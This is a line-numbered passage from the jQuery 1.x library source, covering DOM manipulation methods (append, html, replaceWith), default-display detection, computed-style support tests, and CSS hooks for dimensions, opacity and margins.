6223 // This is a shortcut to avoid jQuery.event.remove's overhead
6224 } else {
6225 jQuery.removeEvent( elem, type, data.handle );
6226 }
6227 }
6228 }
6229
6230 // Remove cache only if it was not already removed by jQuery.event.remove
6231 if ( cache[ id ] ) {
6232
6233 delete cache[ id ];
6234
6235 // Support: IE<9
6236 // IE does not allow us to delete expando properties from nodes
6237 // IE creates expando attributes along with the property
6238 // IE does not have a removeAttribute function on Document nodes
6239 if ( !attributes && typeof elem.removeAttribute !== "undefined" ) {
6240 elem.removeAttribute( internalKey );
6241
6242 // Webkit & Blink performance suffers when deleting properties
6243 // from DOM nodes, so set to undefined instead
6244 // https://code.google.com/p/chromium/issues/detail?id=378607
6245 } else {
6246 elem[ internalKey ] = undefined;
6247 }
6248
6249 deletedIds.push( id );
6250 }
6251 }
6252 }
6253 }
6254 }
6255 } );
6256
6257 jQuery.fn.extend( {
6258
6259 // Keep domManip exposed until 3.0 (gh-2225)
6260 domManip: domManip,
6261
6262 detach: function( selector ) {
6263 return remove( this, selector, true );
6264 },
6265
6266 remove: function( selector ) {
6267 return remove( this, selector );
6268 },
6269
6270 text: function( value ) {
6271 return access( this, function( value ) {
6272 return value === undefined ?
6273 jQuery.text( this ) :
6274 this.empty().append(
6275 ( this[ 0 ] && this[ 0 ].ownerDocument || document ).createTextNode( value )
6276 );
6277 }, null, value, arguments.length );
6278 },
6279
6280 append: function() {
6281 return domManip( this, arguments, function( elem ) {
6282 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
6283 var target = manipulationTarget( this, elem );
6284 target.appendChild( elem );
6285 }
6286 } );
6287 },
6288
6289 prepend: function() {
6290 return domManip( this, arguments, function( elem ) {
6291 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
6292 var target = manipulationTarget( this, elem );
6293 target.insertBefore( elem, target.firstChild );
6294 }
6295 } );
6296 },
6297
6298 before: function() {
6299 return domManip( this, arguments, function( elem ) {
6300 if ( this.parentNode ) {
6301 this.parentNode.insertBefore( elem, this );
6302 }
6303 } );
6304 },
6305
6306 after: function() {
6307 return domManip( this, arguments, function( elem ) {
6308 if ( this.parentNode ) {
6309 this.parentNode.insertBefore( elem, this.nextSibling );
6310 }
6311 } );
6312 },
6313
6314 empty: function() {
6315 var elem,
6316 i = 0;
6317
6318 for ( ; ( elem = this[ i ] ) != null; i++ ) {
6319
6320 // Remove element nodes and prevent memory leaks
6321 if ( elem.nodeType === 1 ) {
6322 jQuery.cleanData( getAll( elem, false ) );
6323 }
6324
6325 // Remove any remaining nodes
6326 while ( elem.firstChild ) {
6327 elem.removeChild( elem.firstChild );
6328 }
6329
6330 // If this is a select, ensure that it displays empty (#12336)
6331 // Support: IE<9
6332 if ( elem.options && jQuery.nodeName( elem, "select" ) ) {
6333 elem.options.length = 0;
6334 }
6335 }
6336
6337 return this;
6338 },
6339
6340 clone: function( dataAndEvents, deepDataAndEvents ) {
6341 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
6342 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
6343
6344 return this.map( function() {
6345 return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
6346 } );
6347 },
6348
6349 html: function( value ) {
6350 return access( this, function( value ) {
6351 var elem = this[ 0 ] || {},
6352 i = 0,
6353 l = this.length;
6354
6355 if ( value === undefined ) {
6356 return elem.nodeType === 1 ?
6357 elem.innerHTML.replace( rinlinejQuery, "" ) :
6358 undefined;
6359 }
6360
6361 // See if we can take a shortcut and just use innerHTML
6362 if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
6363 ( support.htmlSerialize || !rnoshimcache.test( value ) ) &&
6364 ( support.leadingWhitespace || !rleadingWhitespace.test( value ) ) &&
6365 !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
6366
6367 value = jQuery.htmlPrefilter( value );
6368
6369 try {
6370 for ( ; i < l; i++ ) {
6371
6372 // Remove element nodes and prevent memory leaks
6373 elem = this[ i ] || {};
6374 if ( elem.nodeType === 1 ) {
6375 jQuery.cleanData( getAll( elem, false ) );
6376 elem.innerHTML = value;
6377 }
6378 }
6379
6380 elem = 0;
6381
6382 // If using innerHTML throws an exception, use the fallback method
6383 } catch ( e ) {}
6384 }
6385
6386 if ( elem ) {
6387 this.empty().append( value );
6388 }
6389 }, null, value, arguments.length );
6390 },
6391
6392 replaceWith: function() {
6393 var ignored = [];
6394
6395 // Make the changes, replacing each non-ignored context element with the new content
6396 return domManip( this, arguments, function( elem ) {
6397 var parent = this.parentNode;
6398
6399 if ( jQuery.inArray( this, ignored ) < 0 ) {
6400 jQuery.cleanData( getAll( this ) );
6401 if ( parent ) {
6402 parent.replaceChild( elem, this );
6403 }
6404 }
6405
6406 // Force callback invocation
6407 }, ignored );
6408 }
6409 } );
6410
6411 jQuery.each( {
6412 appendTo: "append",
6413 prependTo: "prepend",
6414 insertBefore: "before",
6415 insertAfter: "after",
6416 replaceAll: "replaceWith"
6417 }, function( name, original ) {
6418 jQuery.fn[ name ] = function( selector ) {
6419 var elems,
6420 i = 0,
6421 ret = [],
6422 insert = jQuery( selector ),
6423 last = insert.length - 1;
6424
6425 for ( ; i <= last; i++ ) {
6426 elems = i === last ? this : this.clone( true );
6427 jQuery( insert[ i ] )[ original ]( elems );
6428
6429 // Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get()
6430 push.apply( ret, elems.get() );
6431 }
6432
6433 return this.pushStack( ret );
6434 };
6435 } );
6436
6437
6438 var iframe,
6439 elemdisplay = {
6440
6441 // Support: Firefox
6442 // We have to pre-define these values for FF (#10227)
6443 HTML: "block",
6444 BODY: "block"
6445 };
6446
6447 /**
6448 * Retrieve the actual display of a element
6449 * @param {String} name nodeName of the element
6450 * @param {Object} doc Document object
6451 */
6452
6453// Called only from within defaultDisplay
6454 function actualDisplay( name, doc ) {
6455 var elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),
6456
6457 display = jQuery.css( elem[ 0 ], "display" );
6458
6459 // We don't have any data stored on the element,
6460 // so use "detach" method as fast way to get rid of the element
6461 elem.detach();
6462
6463 return display;
6464 }
6465
6466 /**
6467 * Try to determine the default display value of an element
6468 * @param {String} nodeName
6469 */
6470 function defaultDisplay( nodeName ) {
6471 var doc = document,
6472 display = elemdisplay[ nodeName ];
6473
6474 if ( !display ) {
6475 display = actualDisplay( nodeName, doc );
6476
6477 // If the simple way fails, read from inside an iframe
6478 if ( display === "none" || !display ) {
6479
6480 // Use the already-created iframe if possible
6481 iframe = ( iframe || jQuery( "<iframe frameborder='0' width='0' height='0'/>" ) )
6482 .appendTo( doc.documentElement );
6483
6484 // Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse
6485 doc = ( iframe[ 0 ].contentWindow || iframe[ 0 ].contentDocument ).document;
6486
6487 // Support: IE
6488 doc.write();
6489 doc.close();
6490
6491 display = actualDisplay( nodeName, doc );
6492 iframe.detach();
6493 }
6494
6495 // Store the correct default display
6496 elemdisplay[ nodeName ] = display;
6497 }
6498
6499 return display;
6500 }
6501 var rmargin = ( /^margin/ );
6502
6503 var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
6504
6505 var swap = function( elem, options, callback, args ) {
6506 var ret, name,
6507 old = {};
6508
6509 // Remember the old values, and insert the new ones
6510 for ( name in options ) {
6511 old[ name ] = elem.style[ name ];
6512 elem.style[ name ] = options[ name ];
6513 }
6514
6515 ret = callback.apply( elem, args || [] );
6516
6517 // Revert the old values
6518 for ( name in options ) {
6519 elem.style[ name ] = old[ name ];
6520 }
6521
6522 return ret;
6523 };
6524
6525
6526 var documentElement = document.documentElement;
6527
6528
6529
6530 ( function() {
6531 var pixelPositionVal, pixelMarginRightVal, boxSizingReliableVal,
6532 reliableHiddenOffsetsVal, reliableMarginRightVal, reliableMarginLeftVal,
6533 container = document.createElement( "div" ),
6534 div = document.createElement( "div" );
6535
6536 // Finish early in limited (non-browser) environments
6537 if ( !div.style ) {
6538 return;
6539 }
6540
6541 div.style.cssText = "float:left;opacity:.5";
6542
6543 // Support: IE<9
6544 // Make sure that element opacity exists (as opposed to filter)
6545 support.opacity = div.style.opacity === "0.5";
6546
6547 // Verify style float existence
6548 // (IE uses styleFloat instead of cssFloat)
6549 support.cssFloat = !!div.style.cssFloat;
6550
6551 div.style.backgroundClip = "content-box";
6552 div.cloneNode( true ).style.backgroundClip = "";
6553 support.clearCloneStyle = div.style.backgroundClip === "content-box";
6554
6555 container = document.createElement( "div" );
6556 container.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;" +
6557 "padding:0;margin-top:1px;position:absolute";
6558 div.innerHTML = "";
6559 container.appendChild( div );
6560
6561 // Support: Firefox<29, Android 2.3
6562 // Vendor-prefix box-sizing
6563 support.boxSizing = div.style.boxSizing === "" || div.style.MozBoxSizing === "" ||
6564 div.style.WebkitBoxSizing === "";
6565
6566 jQuery.extend( support, {
6567 reliableHiddenOffsets: function() {
6568 if ( pixelPositionVal == null ) {
6569 computeStyleTests();
6570 }
6571 return reliableHiddenOffsetsVal;
6572 },
6573
6574 boxSizingReliable: function() {
6575
6576 // We're checking for pixelPositionVal here instead of boxSizingReliableVal
6577 // since that compresses better and they're computed together anyway.
6578 if ( pixelPositionVal == null ) {
6579 computeStyleTests();
6580 }
6581 return boxSizingReliableVal;
6582 },
6583
6584 pixelMarginRight: function() {
6585
6586 // Support: Android 4.0-4.3
6587 if ( pixelPositionVal == null ) {
6588 computeStyleTests();
6589 }
6590 return pixelMarginRightVal;
6591 },
6592
6593 pixelPosition: function() {
6594 if ( pixelPositionVal == null ) {
6595 computeStyleTests();
6596 }
6597 return pixelPositionVal;
6598 },
6599
6600 reliableMarginRight: function() {
6601
6602 // Support: Android 2.3
6603 if ( pixelPositionVal == null ) {
6604 computeStyleTests();
6605 }
6606 return reliableMarginRightVal;
6607 },
6608
6609 reliableMarginLeft: function() {
6610
6611 // Support: IE <=8 only, Android 4.0 - 4.3 only, Firefox <=3 - 37
6612 if ( pixelPositionVal == null ) {
6613 computeStyleTests();
6614 }
6615 return reliableMarginLeftVal;
6616 }
6617 } );
6618
6619 function computeStyleTests() {
6620 var contents, divStyle,
6621 documentElement = document.documentElement;
6622
6623 // Setup
6624 documentElement.appendChild( container );
6625
6626 div.style.cssText =
6627
6628 // Support: Android 2.3
6629 // Vendor-prefix box-sizing
6630 "-webkit-box-sizing:border-box;box-sizing:border-box;" +
6631 "position:relative;display:block;" +
6632 "margin:auto;border:1px;padding:1px;" +
6633 "top:1%;width:50%";
6634
6635 // Support: IE<9
6636 // Assume reasonable values in the absence of getComputedStyle
6637 pixelPositionVal = boxSizingReliableVal = reliableMarginLeftVal = false;
6638 pixelMarginRightVal = reliableMarginRightVal = true;
6639
6640 // Check for getComputedStyle so that this code is not run in IE<9.
6641 if ( window.getComputedStyle ) {
6642 divStyle = window.getComputedStyle( div );
6643 pixelPositionVal = ( divStyle || {} ).top !== "1%";
6644 reliableMarginLeftVal = ( divStyle || {} ).marginLeft === "2px";
6645 boxSizingReliableVal = ( divStyle || { width: "4px" } ).width === "4px";
6646
6647 // Support: Android 4.0 - 4.3 only
6648 // Some styles come back with percentage values, even though they shouldn't
6649 div.style.marginRight = "50%";
6650 pixelMarginRightVal = ( divStyle || { marginRight: "4px" } ).marginRight === "4px";
6651
6652 // Support: Android 2.3 only
6653 // Div with explicit width and no margin-right incorrectly
6654 // gets computed margin-right based on width of container (#3333)
6655 // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
6656 contents = div.appendChild( document.createElement( "div" ) );
6657
6658 // Reset CSS: box-sizing; display; margin; border; padding
6659 contents.style.cssText = div.style.cssText =
6660
6661 // Support: Android 2.3
6662 // Vendor-prefix box-sizing
6663 "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" +
6664 "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
6665 contents.style.marginRight = contents.style.width = "0";
6666 div.style.width = "1px";
6667
6668 reliableMarginRightVal =
6669 !parseFloat( ( window.getComputedStyle( contents ) || {} ).marginRight );
6670
6671 div.removeChild( contents );
6672 }
6673
6674 // Support: IE6-8
6675 // First check that getClientRects works as expected
6676 // Check if table cells still have offsetWidth/Height when they are set
6677 // to display:none and there are still other visible table cells in a
6678 // table row; if so, offsetWidth/Height are not reliable for use when
6679 // determining if an element has been hidden directly using
6680 // display:none (it is still safe to use offsets if a parent element is
6681 // hidden; don safety goggles and see bug #4512 for more information).
6682 div.style.display = "none";
6683 reliableHiddenOffsetsVal = div.getClientRects().length === 0;
6684 if ( reliableHiddenOffsetsVal ) {
6685 div.style.display = "";
6686 div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
6687 div.childNodes[ 0 ].style.borderCollapse = "separate";
6688 contents = div.getElementsByTagName( "td" );
6689 contents[ 0 ].style.cssText = "margin:0;border:0;padding:0;display:none";
6690 reliableHiddenOffsetsVal = contents[ 0 ].offsetHeight === 0;
6691 if ( reliableHiddenOffsetsVal ) {
6692 contents[ 0 ].style.display = "";
6693 contents[ 1 ].style.display = "none";
6694 reliableHiddenOffsetsVal = contents[ 0 ].offsetHeight === 0;
6695 }
6696 }
6697
6698 // Teardown
6699 documentElement.removeChild( container );
6700 }
6701
6702 } )();
6703
6704
6705 var getStyles, curCSS,
6706 rposition = /^(top|right|bottom|left)$/;
6707
6708 if ( window.getComputedStyle ) {
6709 getStyles = function( elem ) {
6710
6711 // Support: IE<=11+, Firefox<=30+ (#15098, #14150)
6712 // IE throws on elements created in popups
6713 // FF meanwhile throws on frame elements through "defaultView.getComputedStyle"
6714 var view = elem.ownerDocument.defaultView;
6715
6716 if ( !view || !view.opener ) {
6717 view = window;
6718 }
6719
6720 return view.getComputedStyle( elem );
6721 };
6722
6723 curCSS = function( elem, name, computed ) {
6724 var width, minWidth, maxWidth, ret,
6725 style = elem.style;
6726
6727 computed = computed || getStyles( elem );
6728
6729 // getPropertyValue is only needed for .css('filter') in IE9, see #12537
6730 ret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined;
6731
6732 // Support: Opera 12.1x only
6733 // Fall back to style even without computed
6734 // computed is undefined for elems on document fragments
6735 if ( ( ret === "" || ret === undefined ) && !jQuery.contains( elem.ownerDocument, elem ) ) {
6736 ret = jQuery.style( elem, name );
6737 }
6738
6739 if ( computed ) {
6740
6741 // A tribute to the "awesome hack by Dean Edwards"
6742 // Chrome < 17 and Safari 5.0 uses "computed value"
6743 // instead of "used value" for margin-right
6744 // Safari 5.1.7 (at least) returns percentage for a larger set of values,
6745 // but width seems to be reliably pixels
6746 // this is against the CSSOM draft spec:
6747 // http://dev.w3.org/csswg/cssom/#resolved-values
6748 if ( !support.pixelMarginRight() && rnumnonpx.test( ret ) && rmargin.test( name ) ) {
6749
6750 // Remember the original values
6751 width = style.width;
6752 minWidth = style.minWidth;
6753 maxWidth = style.maxWidth;
6754
6755 // Put in the new values to get a computed value out
6756 style.minWidth = style.maxWidth = style.width = ret;
6757 ret = computed.width;
6758
6759 // Revert the changed values
6760 style.width = width;
6761 style.minWidth = minWidth;
6762 style.maxWidth = maxWidth;
6763 }
6764 }
6765
6766 // Support: IE
6767 // IE returns zIndex value as an integer.
6768 return ret === undefined ?
6769 ret :
6770 ret + "";
6771 };
6772 } else if ( documentElement.currentStyle ) {
6773 getStyles = function( elem ) {
6774 return elem.currentStyle;
6775 };
6776
6777 curCSS = function( elem, name, computed ) {
6778 var left, rs, rsLeft, ret,
6779 style = elem.style;
6780
6781 computed = computed || getStyles( elem );
6782 ret = computed ? computed[ name ] : undefined;
6783
6784 // Avoid setting ret to empty string here
6785 // so we don't default to auto
6786 if ( ret == null && style && style[ name ] ) {
6787 ret = style[ name ];
6788 }
6789
6790 // From the awesome hack by Dean Edwards
6791 // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
6792
6793 // If we're not dealing with a regular pixel number
6794 // but a number that has a weird ending, we need to convert it to pixels
6795 // but not position css attributes, as those are
6796 // proportional to the parent element instead
6797 // and we can't measure the parent instead because it
6798 // might trigger a "stacking dolls" problem
6799 if ( rnumnonpx.test( ret ) && !rposition.test( name ) ) {
6800
6801 // Remember the original values
6802 left = style.left;
6803 rs = elem.runtimeStyle;
6804 rsLeft = rs && rs.left;
6805
6806 // Put in the new values to get a computed value out
6807 if ( rsLeft ) {
6808 rs.left = elem.currentStyle.left;
6809 }
6810 style.left = name === "fontSize" ? "1em" : ret;
6811 ret = style.pixelLeft + "px";
6812
6813 // Revert the changed values
6814 style.left = left;
6815 if ( rsLeft ) {
6816 rs.left = rsLeft;
6817 }
6818 }
6819
6820 // Support: IE
6821 // IE returns zIndex value as an integer.
6822 return ret === undefined ?
6823 ret :
6824 ret + "" || "auto";
6825 };
6826 }
6827
6828
6829
6830
6831 function addGetHookIf( conditionFn, hookFn ) {
6832
6833 // Define the hook, we'll check on the first run if it's really needed.
6834 return {
6835 get: function() {
6836 if ( conditionFn() ) {
6837
6838 // Hook not needed (or it's not possible to use it due
6839 // to missing dependency), remove it.
6840 delete this.get;
6841 return;
6842 }
6843
6844 // Hook needed; redefine it so that the support test is not executed again.
6845 return ( this.get = hookFn ).apply( this, arguments );
6846 }
6847 };
6848 }
6849
6850
6851 var
6852
6853 ralpha = /alpha\([^)]*\)/i,
6854 ropacity = /opacity\s*=\s*([^)]*)/i,
6855
6856 // swappable if display is none or starts with table except
6857 // "table", "table-cell", or "table-caption"
6858 // see here for display values:
6859 // https://developer.mozilla.org/en-US/docs/CSS/display
6860 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
6861 rnumsplit = new RegExp( "^(" + pnum + ")(.*)$", "i" ),
6862
6863 cssShow = { position: "absolute", visibility: "hidden", display: "block" },
6864 cssNormalTransform = {
6865 letterSpacing: "0",
6866 fontWeight: "400"
6867 },
6868
6869 cssPrefixes = [ "Webkit", "O", "Moz", "ms" ],
6870 emptyStyle = document.createElement( "div" ).style;
6871
6872
6873// return a css property mapped to a potentially vendor prefixed property
6874 function vendorPropName( name ) {
6875
6876 // shortcut for names that are not vendor prefixed
6877 if ( name in emptyStyle ) {
6878 return name;
6879 }
6880
6881 // check for vendor prefixed names
6882 var capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),
6883 i = cssPrefixes.length;
6884
6885 while ( i-- ) {
6886 name = cssPrefixes[ i ] + capName;
6887 if ( name in emptyStyle ) {
6888 return name;
6889 }
6890 }
6891 }
6892
6893 function showHide( elements, show ) {
6894 var display, elem, hidden,
6895 values = [],
6896 index = 0,
6897 length = elements.length;
6898
6899 for ( ; index < length; index++ ) {
6900 elem = elements[ index ];
6901 if ( !elem.style ) {
6902 continue;
6903 }
6904
6905 values[ index ] = jQuery._data( elem, "olddisplay" );
6906 display = elem.style.display;
6907 if ( show ) {
6908
6909 // Reset the inline display of this element to learn if it is
6910 // being hidden by cascaded rules or not
6911 if ( !values[ index ] && display === "none" ) {
6912 elem.style.display = "";
6913 }
6914
6915 // Set elements which have been overridden with display: none
6916 // in a stylesheet to whatever the default browser style is
6917 // for such an element
6918 if ( elem.style.display === "" && isHidden( elem ) ) {
6919 values[ index ] =
6920 jQuery._data( elem, "olddisplay", defaultDisplay( elem.nodeName ) );
6921 }
6922 } else {
6923 hidden = isHidden( elem );
6924
6925 if ( display && display !== "none" || !hidden ) {
6926 jQuery._data(
6927 elem,
6928 "olddisplay",
6929 hidden ? display : jQuery.css( elem, "display" )
6930 );
6931 }
6932 }
6933 }
6934
6935 // Set the display of most of the elements in a second loop
6936 // to avoid the constant reflow
6937 for ( index = 0; index < length; index++ ) {
6938 elem = elements[ index ];
6939 if ( !elem.style ) {
6940 continue;
6941 }
6942 if ( !show || elem.style.display === "none" || elem.style.display === "" ) {
6943 elem.style.display = show ? values[ index ] || "" : "none";
6944 }
6945 }
6946
6947 return elements;
6948 }
6949
6950 function setPositiveNumber( elem, value, subtract ) {
6951 var matches = rnumsplit.exec( value );
6952 return matches ?
6953
6954 // Guard against undefined "subtract", e.g., when used as in cssHooks
6955 Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) :
6956 value;
6957 }
6958
6959 function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
6960 var i = extra === ( isBorderBox ? "border" : "content" ) ?
6961
6962 // If we already have the right measurement, avoid augmentation
6963 4 :
6964
6965 // Otherwise initialize for horizontal or vertical properties
6966 name === "width" ? 1 : 0,
6967
6968 val = 0;
6969
6970 for ( ; i < 4; i += 2 ) {
6971
6972 // both box models exclude margin, so add it if we want it
6973 if ( extra === "margin" ) {
6974 val += jQuery.css( elem, extra + cssExpand[ i ], true, styles );
6975 }
6976
6977 if ( isBorderBox ) {
6978
6979 // border-box includes padding, so remove it if we want content
6980 if ( extra === "content" ) {
6981 val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
6982 }
6983
6984 // at this point, extra isn't border nor margin, so remove border
6985 if ( extra !== "margin" ) {
6986 val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
6987 }
6988 } else {
6989
6990 // at this point, extra isn't content, so add padding
6991 val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
6992
6993 // at this point, extra isn't content nor padding, so add border
6994 if ( extra !== "padding" ) {
6995 val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
6996 }
6997 }
6998 }
6999
7000 return val;
7001 }
7002
7003 function getWidthOrHeight( elem, name, extra ) {
7004
7005 // Start with offset property, which is equivalent to the border-box value
7006 var valueIsBorderBox = true,
7007 val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
7008 styles = getStyles( elem ),
7009 isBorderBox = support.boxSizing &&
7010 jQuery.css( elem, "boxSizing", false, styles ) === "border-box";
7011
7012 // some non-html elements return undefined for offsetWidth, so check for null/undefined
7013 // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285
7014 // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668
7015 if ( val <= 0 || val == null ) {
7016
7017 // Fall back to computed then uncomputed css if necessary
7018 val = curCSS( elem, name, styles );
7019 if ( val < 0 || val == null ) {
7020 val = elem.style[ name ];
7021 }
7022
7023 // Computed unit is not pixels. Stop here and return.
7024 if ( rnumnonpx.test( val ) ) {
7025 return val;
7026 }
7027
7028 // we need the check for style in case a browser which returns unreliable values
7029 // for getComputedStyle silently falls back to the reliable elem.style
7030 valueIsBorderBox = isBorderBox &&
7031 ( support.boxSizingReliable() || val === elem.style[ name ] );
7032
7033 // Normalize "", auto, and prepare for extra
7034 val = parseFloat( val ) || 0;
7035 }
7036
7037 // use the active box-sizing model to add/subtract irrelevant styles
7038 return ( val +
7039 augmentWidthOrHeight(
7040 elem,
7041 name,
7042 extra || ( isBorderBox ? "border" : "content" ),
7043 valueIsBorderBox,
7044 styles
7045 )
7046 ) + "px";
7047 }
7048
7049 jQuery.extend( {
7050
7051 // Add in style property hooks for overriding the default
7052 // behavior of getting and setting a style property
7053 cssHooks: {
7054 opacity: {
7055 get: function( elem, computed ) {
7056 if ( computed ) {
7057
7058 // We should always get a number back from opacity
7059 var ret = curCSS( elem, "opacity" );
7060 return ret === "" ? "1" : ret;
7061 }
7062 }
7063 }
7064 },
7065
7066 // Don't automatically add "px" to these possibly-unitless properties
7067 cssNumber: {
7068 "animationIterationCount": true,
7069 "columnCount": true,
7070 "fillOpacity": true,
7071 "flexGrow": true,
7072 "flexShrink": true,
7073 "fontWeight": true,
7074 "lineHeight": true,
7075 "opacity": true,
7076 "order": true,
7077 "orphans": true,
7078 "widows": true,
7079 "zIndex": true,
7080 "zoom": true
7081 },
7082
7083 // Add in properties whose names you wish to fix before
7084 // setting or getting the value
7085 cssProps: {
7086
7087 // normalize float css property
7088 "float": support.cssFloat ? "cssFloat" : "styleFloat"
7089 },
7090
7091 // Get and set the style property on a DOM Node
7092 style: function( elem, name, value, extra ) {
7093
7094 // Don't set styles on text and comment nodes
7095 if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
7096 return;
7097 }
7098
7099 // Make sure that we're working with the right name
7100 var ret, type, hooks,
7101 origName = jQuery.camelCase( name ),
7102 style = elem.style;
7103
7104 name = jQuery.cssProps[ origName ] ||
7105 ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );
7106
7107 // gets hook for the prefixed version
7108 // followed by the unprefixed version
7109 hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
7110
7111 // Check if we're setting a value
7112 if ( value !== undefined ) {
7113 type = typeof value;
7114
7115 // Convert "+=" or "-=" to relative numbers (#7345)
7116 if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {
7117 value = adjustCSS( elem, name, ret );
7118
7119 // Fixes bug #9237
7120 type = "number";
7121 }
7122
7123 // Make sure that null and NaN values aren't set. See: #7116
7124 if ( value == null || value !== value ) {
7125 return;
7126 }
7127
7128 // If a number was passed in, add the unit (except for certain CSS properties)
7129 if ( type === "number" ) {
7130 value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" );
7131 }
7132
7133 // Fixes #8908, it can be done more correctly by specifing setters in cssHooks,
7134 // but it would mean to define eight
7135 // (for every problematic property) identical functions
7136 if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
7137 style[ name ] = "inherit";
7138 }
7139
7140 // If a hook was provided, use that value, otherwise just set the specified value
7141 if ( !hooks || !( "set" in hooks ) ||
7142 ( value = hooks.set( elem, value, extra ) ) !== undefined ) {
7143
7144 // Support: IE
7145 // Swallow errors from 'invalid' CSS values (#5509)
7146 try {
7147 style[ name ] = value;
7148 } catch ( e ) {}
7149 }
7150
7151 } else {
7152
7153 // If a hook was provided get the non-computed value from there
7154 if ( hooks && "get" in hooks &&
7155 ( ret = hooks.get( elem, false, extra ) ) !== undefined ) {
7156
7157 return ret;
7158 }
7159
7160 // Otherwise just get the value from the style object
7161 return style[ name ];
7162 }
7163 },
7164
7165 css: function( elem, name, extra, styles ) {
7166 var num, val, hooks,
7167 origName = jQuery.camelCase( name );
7168
7169 // Make sure that we're working with the right name
7170 name = jQuery.cssProps[ origName ] ||
7171 ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );
7172
7173 // gets hook for the prefixed version
7174 // followed by the unprefixed version
7175 hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
7176
7177 // If a hook was provided get the computed value from there
7178 if ( hooks && "get" in hooks ) {
7179 val = hooks.get( elem, true, extra );
7180 }
7181
7182 // Otherwise, if a way to get the computed value exists, use that
7183 if ( val === undefined ) {
7184 val = curCSS( elem, name, styles );
7185 }
7186
7187 //convert "normal" to computed value
7188 if ( val === "normal" && name in cssNormalTransform ) {
7189 val = cssNormalTransform[ name ];
7190 }
7191
7192 // Return, converting to number if forced or a qualifier was provided and val looks numeric
7193 if ( extra === "" || extra ) {
7194 num = parseFloat( val );
7195 return extra === true || isFinite( num ) ? num || 0 : val;
7196 }
7197 return val;
7198 }
7199 } );
7200
7201 jQuery.each( [ "height", "width" ], function( i, name ) {
7202 jQuery.cssHooks[ name ] = {
7203 get: function( elem, computed, extra ) {
7204 if ( computed ) {
7205
7206 // certain elements can have dimension info if we invisibly show them
7207 // however, it must have a current display style that would benefit from this
7208 return rdisplayswap.test( jQuery.css( elem, "display" ) ) &&
7209 elem.offsetWidth === 0 ?
7210 swap( elem, cssShow, function() {
7211 return getWidthOrHeight( elem, name, extra );
7212 } ) :
7213 getWidthOrHeight( elem, name, extra );
7214 }
7215 },
7216
7217 set: function( elem, value, extra ) {
7218 var styles = extra && getStyles( elem );
7219 return setPositiveNumber( elem, value, extra ?
7220 augmentWidthOrHeight(
7221 elem,
7222 name,
7223 extra,
7224 support.boxSizing &&
7225 jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
7226 styles
7227 ) : 0
7228 );
7229 }
7230 };
7231 } );
7232
7233 if ( !support.opacity ) {
7234 jQuery.cssHooks.opacity = {
7235 get: function( elem, computed ) {
7236
7237 // IE uses filters for opacity
7238 return ropacity.test( ( computed && elem.currentStyle ?
7239 elem.currentStyle.filter :
7240 elem.style.filter ) || "" ) ?
7241 ( 0.01 * parseFloat( RegExp.$1 ) ) + "" :
7242 computed ? "1" : "";
7243 },
7244
7245 set: function( elem, value ) {
7246 var style = elem.style,
7247 currentStyle = elem.currentStyle,
7248 opacity = jQuery.isNumeric( value ) ? "alpha(opacity=" + value * 100 + ")" : "",
7249 filter = currentStyle && currentStyle.filter || style.filter || "";
7250
7251 // IE has trouble with opacity if it does not have layout
7252 // Force it by setting the zoom level
7253 style.zoom = 1;
7254
7255 // if setting opacity to 1, and no other filters exist -
7256 // attempt to remove filter attribute #6652
7257 // if value === "", then remove inline opacity #12685
7258 if ( ( value >= 1 || value === "" ) &&
7259 jQuery.trim( filter.replace( ralpha, "" ) ) === "" &&
7260 style.removeAttribute ) {
7261
7262 // Setting style.filter to null, "" & " " still leave "filter:" in the cssText
7263 // if "filter:" is present at all, clearType is disabled, we want to avoid this
7264 // style.removeAttribute is IE Only, but so apparently is this code path...
7265 style.removeAttribute( "filter" );
7266
7267 // if there is no filter style applied in a css rule
7268 // or unset inline opacity, we are done
7269 if ( value === "" || currentStyle && !currentStyle.filter ) {
7270 return;
7271 }
7272 }
7273
7274 // otherwise, set new filter values
7275 style.filter = ralpha.test( filter ) ?
7276 filter.replace( ralpha, opacity ) :
7277 filter + " " + opacity;
7278 }
7279 };
7280 }
7281
7282 jQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight,
7283 function( elem, computed ) {
7284 if ( computed ) {
7285 return swap( elem, { "display": "inline-block" },
